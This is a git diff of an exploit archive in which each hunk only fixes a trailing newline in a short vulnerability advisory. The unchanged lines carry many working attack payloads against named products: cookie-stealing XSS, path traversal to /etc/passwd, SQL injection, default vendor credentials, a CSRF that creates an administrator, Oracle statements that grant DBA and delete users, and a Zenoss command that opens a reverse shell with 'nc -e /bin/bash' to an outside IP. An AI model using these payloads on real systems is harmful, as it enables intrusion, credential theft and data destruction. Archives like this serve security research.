20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,') a.document.write('<H1>FAKE PAGE<\h1>') a.document.write('<title>test</title>') a.stop (); } </script> \ No newline at end of file diff --git a/platforms/multiple/remote/33164.txt b/platforms/multiple/remote/33164.txt index 90ddaef7e..6bcc12354 100755 --- a/platforms/multiple/remote/33164.txt +++ b/platforms/multiple/remote/33164.txt @@ -17,4 +17,4 @@ var Overflow = "31337" + 0.313373133731337313373133731337...; Example 2: --------- <img width=0.3133731337313373133731337... src="31337.jpg"> ---------- \ No newline at end of file +--------- \ No newline at end of file diff --git a/platforms/multiple/remote/33203.txt b/platforms/multiple/remote/33203.txt index 700b4beb0..74d1b4890 100755 --- a/platforms/multiple/remote/33203.txt +++ b/platforms/multiple/remote/33203.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to bypass certain security restrictions. Succ The following sample SQL expression is available: -x=y=z \ No newline at end of file +x=y=z \ No newline at end of file diff --git a/platforms/multiple/remote/33210.txt b/platforms/multiple/remote/33210.txt index bcbbcbdb3..15ac5110c 100755 --- a/platforms/multiple/remote/33210.txt +++ b/platforms/multiple/remote/33210.txt @@ -8,4 +8,4 @@ NOTE: This issue may be related to the issue documented in BID 37086 (HP Operati Attackers can exploit this issue using readily available tools. The following authentication credentials are available: -ovwebusr:OvW*busr1 \ No newline at end of file +ovwebusr:OvW*busr1 \ No newline at end of file diff --git a/platforms/multiple/remote/33211.txt b/platforms/multiple/remote/33211.txt index 0fae11642..1f1cb17ac 100755 --- a/platforms/multiple/remote/33211.txt +++ b/platforms/multiple/remote/33211.txt @@ -6,4 +6,4 @@ Operations Dashboard 2.1 for Windows is vulnerable; other versions may also be v Attackers can exploit this issue using readily available tools. The following authentication credentials are available: -j2deployer:j2deployer \ No newline at end of file +j2deployer:j2deployer \ No newline at end of file diff --git a/platforms/multiple/remote/33215.txt b/platforms/multiple/remote/33215.txt index cd4028e18..5c9ced051 100755 --- a/platforms/multiple/remote/33215.txt +++ b/platforms/multiple/remote/33215.txt @@ -8,4 +8,4 @@ IBM Tivoli Identity Manager 5.0.0.5 is vulnerable; other versions may also be af The following example input was provided: -<script>alert("bbbbb")</script> \ No newline at end of file +<script>alert("bbbbb")</script> \ No newline at end of file diff --git a/platforms/multiple/remote/33363.txt b/platforms/multiple/remote/33363.txt index b52d8c933..3128de2be 100755 --- a/platforms/multiple/remote/33363.txt +++ b/platforms/multiple/remote/33363.txt @@ -11,4 +11,4 @@ This issue affects Opera 10.01; other versions may also be affected. <script> var a=0.<?php echo str_repeat("1",296450); ?>; -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/multiple/remote/33498.txt b/platforms/multiple/remote/33498.txt index 87f6a3bb7..fc6b7881e 100755 --- a/platforms/multiple/remote/33498.txt +++ b/platforms/multiple/remote/33498.txt @@ -9,4 +9,4 @@ Varnish 2.0.6 is vulnerable; other versions may also be affected. The following example is available: echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload -nc localhost 80 < payload \ No newline at end of file +nc localhost 80 < payload \ No newline at end of file diff --git a/platforms/multiple/remote/33500.txt b/platforms/multiple/remote/33500.txt index 2eb2d5148..9f1871835 100755 --- a/platforms/multiple/remote/33500.txt +++ b/platforms/multiple/remote/33500.txt @@ -9,4 +9,4 @@ This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload -nc localhost 80 < payload \ No newline at end of file +nc localhost 80 < payload \ No newline at end of file diff --git a/platforms/multiple/remote/33503.txt b/platforms/multiple/remote/33503.txt index 3930a9498..5d75579c2 100755 --- a/platforms/multiple/remote/33503.txt +++ b/platforms/multiple/remote/33503.txt @@ -10,4 +10,4 @@ Orion Application Server 2.0.7 is vulnerable; other versions may also be affecte curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload -nc localhost 80 < payload \ No newline at end of file +nc localhost 80 < payload \ No newline at end of file diff --git a/platforms/multiple/remote/33504.txt b/platforms/multiple/remote/33504.txt index 0998fc858..1c328b3df 100755 --- a/platforms/multiple/remote/33504.txt +++ b/platforms/multiple/remote/33504.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary commands in a terminal. Boa Webserver 0.94.14rc21 is vulnerable; other versions may also be affected. -curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a \ No newline at end of file +curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a \ No newline at end of file diff --git a/platforms/multiple/remote/33536.txt b/platforms/multiple/remote/33536.txt index 31d940d10..0250c8fa1 100755 --- a/platforms/multiple/remote/33536.txt +++ b/platforms/multiple/remote/33536.txt @@ -11,4 +11,4 @@ http://www.example.com/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&defaultA http://www.example.com/zport/dmd/userCommands/ping?command:text=nc -e /bin/bash 172.16.28.6 443&commandId=ping&description:text=& manage_editUserCommand:method=Save&zenScreenName=userCommandDetail -http://www.example.com/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping \ No newline at end of file +http://www.example.com/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping \ No newline at end of file diff --git a/platforms/multiple/remote/33553.txt b/platforms/multiple/remote/33553.txt index 9763b57bf..019df5d17 100755 --- a/platforms/multiple/remote/33553.txt +++ b/platforms/multiple/remote/33553.txt @@ -13,4 +13,4 @@ Sun Java System Web Proxy Server 4.0 without Service pack 13 buf = "PUT / HTTP/1.0\n" buf += "Authorization: Digest " buf += "ABCD,"*1000 -buf += "\n\n" \ No newline at end of file +buf += "\n\n" \ No newline at end of file diff --git a/platforms/multiple/remote/33577.txt b/platforms/multiple/remote/33577.txt index 49ca3f8a2..49355ffaf 100755 --- a/platforms/multiple/remote/33577.txt +++ b/platforms/multiple/remote/33577.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect XAMPP 1.6.8 and prior; other versions may be affected as well. -http://www.example.com/xampp/showcode.php?TEXT[global-showcode]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/xampp/showcode.php?TEXT[global-showcode]=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/remote/33578.txt b/platforms/multiple/remote/33578.txt index 6de1a60e3..1cab98452 100755 --- a/platforms/multiple/remote/33578.txt +++ b/platforms/multiple/remote/33578.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor This issue affects XAMPP 1.6.8 and prior; other versions may be vulnerable as well. -http://www.example.com/xampp/showcode.php?showcode=1&file=../index.php \ No newline at end of file +http://www.example.com/xampp/showcode.php?showcode=1&file=../index.php \ No newline at end of file diff --git a/platforms/multiple/remote/33616.txt b/platforms/multiple/remote/33616.txt index 3c94234c1..4aa7d7979 100755 --- a/platforms/multiple/remote/33616.txt +++ b/platforms/multiple/remote/33616.txt @@ -8,4 +8,4 @@ This issue affects Mongoose 2.8; other versions may be vulnerable as well. The following example URI is available: -http://www.example.com/file.php%20%20%20 \ No newline at end of file +http://www.example.com/file.php%20%20%20 \ No newline at end of file diff --git a/platforms/multiple/remote/33663.txt b/platforms/multiple/remote/33663.txt index 83fdc630d..deebe1f5b 100755 --- a/platforms/multiple/remote/33663.txt +++ b/platforms/multiple/remote/33663.txt @@ -8,4 +8,4 @@ IBM WebSphere Portal 6.0.1.5 Build Level wp6015_008_01 is vulnerable; other vers The following code can trigger this issue: -" style="position:absolute; top:-100px; left:-100px; width:10000 px; height:10000px; z-index:999;" onmousemove="alert('XSS')"&gt; \ No newline at end of file +" style="position:absolute; top:-100px; left:-100px; width:10000 px; height:10000px; z-index:999;" onmousemove="alert('XSS')"&gt; \ No newline at end of file diff --git a/platforms/multiple/remote/33774.txt b/platforms/multiple/remote/33774.txt index 1afde5318..669b1a5c9 100755 --- a/platforms/multiple/remote/33774.txt +++ b/platforms/multiple/remote/33774.txt @@ -12,4 +12,4 @@ POST /names.nsf?Login HTTP/1.1 Connection: Keep-Alive -%25%25ModDate=xxxxxxxxxxxxxxxx&Username=yyyy+zzzz&Password=aaaaaa&RedirectTo=http://www.example.com&SaveOptions=0&... \ No newline at end of file +%25%25ModDate=xxxxxxxxxxxxxxxx&Username=yyyy+zzzz&Password=aaaaaa&RedirectTo=http://www.example.com&SaveOptions=0&... \ No newline at end of file diff --git a/platforms/multiple/remote/33839.txt b/platforms/multiple/remote/33839.txt index 8ef577aac..36f8e93e8 100755 --- a/platforms/multiple/remote/33839.txt +++ b/platforms/multiple/remote/33839.txt @@ -8,4 +8,4 @@ Oracle E-Business Suite 12 is vulnerable; other versions may be affected. $ export TARGET=â?http://www.example.com:<port>/OA_HTMLâ? $ wget -O - â??$TARGET/OA.jspâ? "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'grant%20dba%20to%20mom';%20end;â? -$ wget -O - â??$TARGET/OA.jspâ? "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'delete%20from%20apps.fnd_user';%20commit;end;â? \ No newline at end of file +$ wget -O - â??$TARGET/OA.jspâ? "$TARGET/jtfwcpnt.jsp?query=begin%20execute%20immediate%20'delete%20from%20apps.fnd_user';%20commit;end;â? \ No newline at end of file diff --git a/platforms/multiple/remote/33871.txt b/platforms/multiple/remote/33871.txt index f56c850af..2691298ab 100755 --- a/platforms/multiple/remote/33871.txt +++ b/platforms/multiple/remote/33871.txt @@ -7,4 +7,4 @@ Exploiting these issues can allow an attacker to retrieve arbitrary local files Tiny Java Web Server 1.71 is vulnerable; other versions may also be affected. get /%00 HTTP/1.1\r\nHost: digitalwhisper.co.il<http://digitalwhisper.co.il>\r\n\r\n -GET /demo-servlets/%2fWEB-INF/config/mishka.properties HTTP/1.1 \ No newline at end of file +GET /demo-servlets/%2fWEB-INF/config/mishka.properties HTTP/1.1 \ No newline at end of file diff --git a/platforms/multiple/remote/33873.txt b/platforms/multiple/remote/33873.txt index 2ff468498..8fecebd71 100755 --- a/platforms/multiple/remote/33873.txt +++ b/platforms/multiple/remote/33873.txt @@ -4,4 +4,4 @@ HP System Management Homepage is prone to an open-redirection vulnerability beca A successful exploit may aid in phishing attacks; other attacks are possible. -http://www.example.com/red2301.html?RedirectUrl=evil () attacker com \ No newline at end of file +http://www.example.com/red2301.html?RedirectUrl=evil () attacker com \ No newline at end of file diff --git a/platforms/multiple/remote/33905.txt b/platforms/multiple/remote/33905.txt index 644bb3def..7510db6db 100755 --- a/platforms/multiple/remote/33905.txt +++ b/platforms/multiple/remote/33905.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ActiveMQ 5.3.0 and 5.3.1 are affected; other versions may also be vulnerable. -http://www.example.com:8161/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("ACTIVEMQ")</script> \ No newline at end of file +http://www.example.com:8161/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("ACTIVEMQ")</script> \ No newline at end of file diff --git a/platforms/multiple/remote/33940.txt b/platforms/multiple/remote/33940.txt index 6eb5804db..6ecc3df2f 100755 --- a/platforms/multiple/remote/33940.txt +++ b/platforms/multiple/remote/33940.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects VMware View versions prior to 3.1.3. -http://www.example.com/not_a_real_page<SCRIPT>alert(/XSS/.source)</SCRIPT> \ No newline at end of file +http://www.example.com/not_a_real_page<SCRIPT>alert(/XSS/.source)</SCRIPT> \ No newline at end of file diff --git a/platforms/multiple/remote/34048.html b/platforms/multiple/remote/34048.html index bbffa9010..f34617fd6 100755 --- a/platforms/multiple/remote/34048.html +++ b/platforms/multiple/remote/34048.html @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain administrat Brekeke PBX 2.4.4.8 is vulnerable; other versions may be affected. -<html> <body> <img src="http://www.example.com:28080/pbx/gate?bean=pbxadmin.web.PbxUserEdit&user=sa&disabled=false&name=&language=en&password=new_password&password2=new_password&phoneforward=&ringertime=60&noanswerforward=vmsa&noanswerforward.voicemail=on&busyforward=vmsa&busyforward.voicemail=on&dtmfcommand=true&defaultpickup=&index=1&greetingtype=3&recordlength=&messageforward=&email=&emailnotification=true&emailattachment=true&admin=true&userplugin=user&personalivr=&rtprelay=default&payload=&useremotepayload=default&recording=false&canjoin=true&allowjoin=true&aotomonitor=&maxsessioncount=-1&resourcemap=&operation=store" /> </body> </html> \ No newline at end of file +<html> <body> <img src="http://www.example.com:28080/pbx/gate?bean=pbxadmin.web.PbxUserEdit&user=sa&disabled=false&name=&language=en&password=new_password&password2=new_password&phoneforward=&ringertime=60&noanswerforward=vmsa&noanswerforward.voicemail=on&busyforward=vmsa&busyforward.voicemail=on&dtmfcommand=true&defaultpickup=&index=1&greetingtype=3&recordlength=&messageforward=&email=&emailnotification=true&emailattachment=true&admin=true&userplugin=user&personalivr=&rtprelay=default&payload=&useremotepayload=default&recording=false&canjoin=true&allowjoin=true&aotomonitor=&maxsessioncount=-1&resourcemap=&operation=store" /> </body> </html> \ No newline at end of file diff --git a/platforms/multiple/remote/3405.txt b/platforms/multiple/remote/3405.txt index 16b41b4ac..c81e55bd7 100755 --- a/platforms/multiple/remote/3405.txt +++ b/platforms/multiple/remote/3405.txt @@ -1,4 +1,4 @@ -//////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // diff --git a/platforms/multiple/remote/34136.txt b/platforms/multiple/remote/34136.txt index 343521032..fa897cb06 100755 --- a/platforms/multiple/remote/34136.txt +++ b/platforms/multiple/remote/34136.txt @@ -4,4 +4,4 @@ Plesk Server Administrator (PSA) is prone to a local file-include vulnerability An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. -https://www.example.com/servlet/Help?system_id=pem&book_type=login&help_id=change_password&locale=/../../../../../../etc/passwd%00 \ No newline at end of file +https://www.example.com/servlet/Help?system_id=pem&book_type=login&help_id=change_password&locale=/../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/multiple/remote/34186.txt b/platforms/multiple/remote/34186.txt index 901a12d99..ca17483c9 100755 --- a/platforms/multiple/remote/34186.txt +++ b/platforms/multiple/remote/34186.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to hijack a user's session and gain unauthorize Apache Axis2 1.5 is vulnerable; other versions may also be affected. -http://www.example.com:8080/axis2/axis2-admin/engagingglobally?submit=%2bEngage 2b&modules= \ No newline at end of file +http://www.example.com:8080/axis2/axis2-admin/engagingglobally?submit=%2bEngage 2b&modules= \ No newline at end of file diff --git a/platforms/multiple/remote/34310.txt b/platforms/multiple/remote/34310.txt index 00b3f6582..13e874bfd 100755 --- a/platforms/multiple/remote/34310.txt +++ b/platforms/multiple/remote/34310.txt @@ -8,4 +8,4 @@ This vulnerability affects the following supported versions: 5.7 MP3, 6.0 MP5, 10.3 MP2 http://www.example.com:8585/webconsole/faces/faces/faces/jsf/tips.jsp?context=<script>alert(document.cookie)</script> -http://www.example.com:8585/webconsole/faces/faces/faces/jsf/tips.jsp?context=<script>alert('CorelanTeam')</script> \ No newline at end of file +http://www.example.com:8585/webconsole/faces/faces/faces/jsf/tips.jsp?context=<script>alert('CorelanTeam')</script> \ No newline at end of file diff --git a/platforms/multiple/remote/34369.txt b/platforms/multiple/remote/34369.txt index 821f2f6f3..f8ceb5804 100755 --- a/platforms/multiple/remote/34369.txt +++ b/platforms/multiple/remote/34369.txt @@ -9,4 +9,4 @@ Versions prior to IBM Java SDK 1.4.2 SR13-FP6, Java SE 5.0.0-SR12, and Java SE 6 The following example URI's are available: http://www.example.com/ctx/index%c0%aehtml -http://www.example.com/ctx/index.%c1%bfj%c1%bfs%c1%bfp%c1%bf \ No newline at end of file +http://www.example.com/ctx/index.%c1%bfj%c1%bfs%c1%bfp%c1%bf \ No newline at end of file diff --git a/platforms/multiple/remote/34500.html b/platforms/multiple/remote/34500.html index 37aa6bf42..8bad21431 100755 --- a/platforms/multiple/remote/34500.html +++ b/platforms/multiple/remote/34500.html @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in Versions prior to Flock 3.0.0.4094 are vulnerable. -<!DOCTYPE NETSCAPE-Bookmark-file-1> <!-- This is an automatically generated file. It will be read and overwritten. DO NOT EDIT! --> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Menú Marcadores</H1> <DL><p> <DT><A HREF="http://www.example.com" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">"><script src='http://www.example.com/thirdparty/scripts/ckers.org.js'></A> </DL><p> \ No newline at end of file +<!DOCTYPE NETSCAPE-Bookmark-file-1> <!-- This is an automatically generated file. It will be read and overwritten. DO NOT EDIT! --> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Menú Marcadores</H1> <DL><p> <DT><A HREF="http://www.example.com" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">"><script src='http://www.example.com/thirdparty/scripts/ckers.org.js'></A> </DL><p> \ No newline at end of file diff --git a/platforms/multiple/remote/34523.txt b/platforms/multiple/remote/34523.txt index 8554d7b3a..11f8a7fa1 100755 --- a/platforms/multiple/remote/34523.txt +++ b/platforms/multiple/remote/34523.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Versions prior to Nagios XI 2009R1.3 are vulnerable. -http://www.example.com/nagiosxi/admin/users.php?records=int8((select > password from xi_users where username= > CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1 \ No newline at end of file +http://www.example.com/nagiosxi/admin/users.php?records=int8((select > password from xi_users where username= > CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)))&sortby=username&sortorder=asc&search=&page=1 \ No newline at end of file diff --git a/platforms/multiple/remote/34691.txt b/platforms/multiple/remote/34691.txt index 4b08b99b6..bd37db683 100755 --- a/platforms/multiple/remote/34691.txt +++ b/platforms/multiple/remote/34691.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code would run in the context of the affected CollabNet Subversion Edge 1.2.0 is vulnerable; other versions may also be affected. The following example request is available: -GET /csvn/login</pre><script>alert('pwndd!!!!');</script> HTTP/1.0 \ No newline at end of file +GET /csvn/login</pre><script>alert('pwndd!!!!');</script> HTTP/1.0 \ No newline at end of file diff --git a/platforms/multiple/remote/34796.txt b/platforms/multiple/remote/34796.txt index 3066e7b83..c7d7a7784 100755 --- a/platforms/multiple/remote/34796.txt +++ b/platforms/multiple/remote/34796.txt @@ -8,4 +8,4 @@ This issue affects versions prior to MySQL 5.1.50. UPDATE db1.tbl1 /*!514900 ,mysql.user */ SET db1.tbl1.col1=2 /*!514900 ,mysql.user.Super_priv='Y' -WHERE mysql.user.User='user1'*/; \ No newline at end of file +WHERE mysql.user.User='user1'*/; \ No newline at end of file diff --git a/platforms/multiple/remote/34945.txt b/platforms/multiple/remote/34945.txt index 4e9e389b5..4386af4c2 100755 --- a/platforms/multiple/remote/34945.txt +++ b/platforms/multiple/remote/34945.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to view arbitrary local files withi Home File Share Server 0.7.2.32 is vulnerable; other versions may also be affected. -http://www.example.com/RealFolder/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F \ No newline at end of file +http://www.example.com/RealFolder/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F \ No newline at end of file diff --git a/platforms/multiple/remote/34952.txt b/platforms/multiple/remote/34952.txt index 3c0d9aa4c..06172b4ba 100755 --- a/platforms/multiple/remote/34952.txt +++ b/platforms/multiple/remote/34952.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to obtain sensitive information that Apache Shiro 1.0.0 is vulnerable; other versions may be affected. -GET /./account/index.jsp HTTP/1.1 \ No newline at end of file +GET /./account/index.jsp HTTP/1.1 \ No newline at end of file diff --git a/platforms/multiple/remote/35144.txt b/platforms/multiple/remote/35144.txt index 648e95620..21820dd41 100755 --- a/platforms/multiple/remote/35144.txt +++ b/platforms/multiple/remote/35144.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Appweb 3.2.2-1 is vulnerable; other versions may also be affected. -http://www.example.com/ejs/%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/ejs/%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/multiple/remote/35464.txt b/platforms/multiple/remote/35464.txt index 63a7c91de..97ff7ee14 100755 --- a/platforms/multiple/remote/35464.txt +++ b/platforms/multiple/remote/35464.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to bypass the filter included in the download This issue affects WebReputation API 10.5; other versions may also be vulnerable. - http://www.example.com/dist/nmap-5.51-setup.exe? \ No newline at end of file + http://www.example.com/dist/nmap-5.51-setup.exe? \ No newline at end of file diff --git a/platforms/multiple/remote/35685.txt b/platforms/multiple/remote/35685.txt index b34fab938..0b6aae834 100755 --- a/platforms/multiple/remote/35685.txt +++ b/platforms/multiple/remote/35685.txt @@ -19,4 +19,4 @@ Contact: <sip:105@localhost>;q=1 Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,SUBSCRIBE,NOTIFY,REFER,MESSAGE,INFO,PING Expires: 3600 Content-Length: 0 -Max-Forwards: 70 \ No newline at end of file +Max-Forwards: 70 \ No newline at end of file diff --git a/platforms/multiple/remote/35729.txt b/platforms/multiple/remote/35729.txt index 677669e02..48fad3931 100755 --- a/platforms/multiple/remote/35729.txt +++ b/platforms/multiple/remote/35729.txt @@ -4,4 +4,4 @@ Imperva SecureSphere is prone to a security-bypass vulnerability. An attacker can leverage this vulnerability to bypass certain security restrictions. Successful exploits may allow attackers to exploit SQL-injection vulnerabilities. -15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' \ No newline at end of file +15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' \ No newline at end of file diff --git a/platforms/multiple/remote/35735.txt b/platforms/multiple/remote/35735.txt index 8bb6d3a36..f4047af11 100755 --- a/platforms/multiple/remote/35735.txt +++ b/platforms/multiple/remote/35735.txt @@ -8,4 +8,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Apache Struts versions 2.0.0 through 2.2.1.1 are vulnerable. -http://www.example.com/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value \ No newline at end of file +http://www.example.com/struts2-blank/home.action!login:cantLogin<script>alert(document.cookie)</script>=some_value \ No newline at end of file diff --git a/platforms/multiple/remote/35805.txt b/platforms/multiple/remote/35805.txt index 6de1cee62..e5496d72c 100755 --- a/platforms/multiple/remote/35805.txt +++ b/platforms/multiple/remote/35805.txt @@ -15,4 +15,4 @@ Gadu-Gadu 10.5 is affected; other versions may also be vulnerable. close\r\nContent-Length: 239\r\nContent-Type: text/html\r\n\r\nb=document.getElementsByTagName(\"body\").item(0);\r\nb.innerHTML='<a id=\"a\" href=\"c:/windows/notepad.exe\"></a>';\r\na=document.getElementById('a');\r\ne=document.createEvent('HTMLEvents');\r\ne.initEvent('click', -true, true);\r\na.dispatchEvent(e);\r\n" | nc -l 80 ; done \ No newline at end of file +true, true);\r\na.dispatchEvent(e);\r\n" | nc -l 80 ; done \ No newline at end of file diff --git a/platforms/multiple/remote/36004.txt b/platforms/multiple/remote/36004.txt index b2f94f84c..14ae45828 100755 --- a/platforms/multiple/remote/36004.txt +++ b/platforms/multiple/remote/36004.txt @@ -10,4 +10,4 @@ The following sample input is available: "><iframe src='' onload=alert('mphone')> -A video demonstrating the attack is available. Please see the references for more information. \ No newline at end of file +A video demonstrating the attack is available. Please see the references for more information. \ No newline at end of file diff --git a/platforms/multiple/remote/36013.txt b/platforms/multiple/remote/36013.txt index 4f6d3ecd9..31f9ce88f 100755 --- a/platforms/multiple/remote/36013.txt +++ b/platforms/multiple/remote/36013.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary shell commands in the co Versions prior to foomatic-gui 0.7.9.5 are vulnerable. -netbios name = oh'notquotezSIF to /etc/samba/smb.conf \ No newline at end of file +netbios name = oh'notquotezSIF to /etc/samba/smb.conf \ No newline at end of file diff --git a/platforms/multiple/remote/36016.txt b/platforms/multiple/remote/36016.txt index 4447bfa5e..a40de5aae 100755 --- a/platforms/multiple/remote/36016.txt +++ b/platforms/multiple/remote/36016.txt @@ -13,4 +13,4 @@ Error: Couldn't find trailer dictionary Error: Couldn't read xref table rm: cannot remove `/tmp/': Is a directory $ ls -l y # The victim file is gone! -ls: cannot access y: No such file or directory \ No newline at end of file +ls: cannot access y: No such file or directory \ No newline at end of file diff --git a/platforms/multiple/remote/36130.txt b/platforms/multiple/remote/36130.txt index 478846c9b..6ce2a6dae 100755 --- a/platforms/multiple/remote/36130.txt +++ b/platforms/multiple/remote/36130.txt @@ -9,4 +9,4 @@ The following versions are vulnerable: Spring Security 2.0.0 through 2.0.6 Spring Security 3.0.0 through 3.0.5 -http://www.example.com//mywebapp/logout/spring-security-redirect=%0d%0a%20NewHeader%3ainjectedValue \ No newline at end of file +http://www.example.com//mywebapp/logout/spring-security-redirect=%0d%0a%20NewHeader%3ainjectedValue \ No newline at end of file diff --git a/platforms/multiple/remote/36238.txt b/platforms/multiple/remote/36238.txt index f2be68954..7b6647006 100755 --- a/platforms/multiple/remote/36238.txt +++ b/platforms/multiple/remote/36238.txt @@ -4,4 +4,4 @@ Multiple Toshiba e-Studio devices are prone to a security-bypass vulnerability. Successful exploits will allow attackers to bypass certain security restrictions and gain access in the context of the device. -http://www.example.com/TopAccess//Administrator/Setup/ScanToFile/List.htm \ No newline at end of file +http://www.example.com/TopAccess//Administrator/Setup/ScanToFile/List.htm \ No newline at end of file diff --git a/platforms/multiple/remote/36246.txt b/platforms/multiple/remote/36246.txt index 3514df4e3..300371c2f 100755 --- a/platforms/multiple/remote/36246.txt +++ b/platforms/multiple/remote/36246.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary HTML and script code in Splunk versions 4.2.2 and prior are vulnerable. -http://www.example.com/en-US/prototype/segmentation_performance?lines=2&depth=2&segment=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&element=aaa&attribute=aaa&segmentation=flattened \ No newline at end of file +http://www.example.com/en-US/prototype/segmentation_performance?lines=2&depth=2&segment=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&element=aaa&attribute=aaa&segmentation=flattened \ No newline at end of file diff --git a/platforms/multiple/remote/36426.txt b/platforms/multiple/remote/36426.txt index adb277590..fd6dbc40e 100755 --- a/platforms/multiple/remote/36426.txt +++ b/platforms/multiple/remote/36426.txt @@ -6,4 +6,4 @@ Successful attacks will allow attackers to bypass security restrictions and gain Apache Struts versions 2.0.9 and 2.1.8.1 are vulnerable; other versions may also be affected. -http://www.example.com/SomeAction.action?session.somekey=someValue \ No newline at end of file +http://www.example.com/SomeAction.action?session.somekey=someValue \ No newline at end of file diff --git a/platforms/multiple/remote/36537.txt b/platforms/multiple/remote/36537.txt index 121a87308..cb3cd5258 100755 --- a/platforms/multiple/remote/36537.txt +++ b/platforms/multiple/remote/36537.txt @@ -8,4 +8,4 @@ AntiSpam & EMail 7.3.1 is vulnerable; other versions may also be affected. http://www.example.com/reports_mta_queue_status.html?hostname=greenland%22%3E%3C* -http://www.example.com/msg_viewer_user_mail.html?messageStoreId=shard_20100321/256665421/JUI&direction= \ No newline at end of file 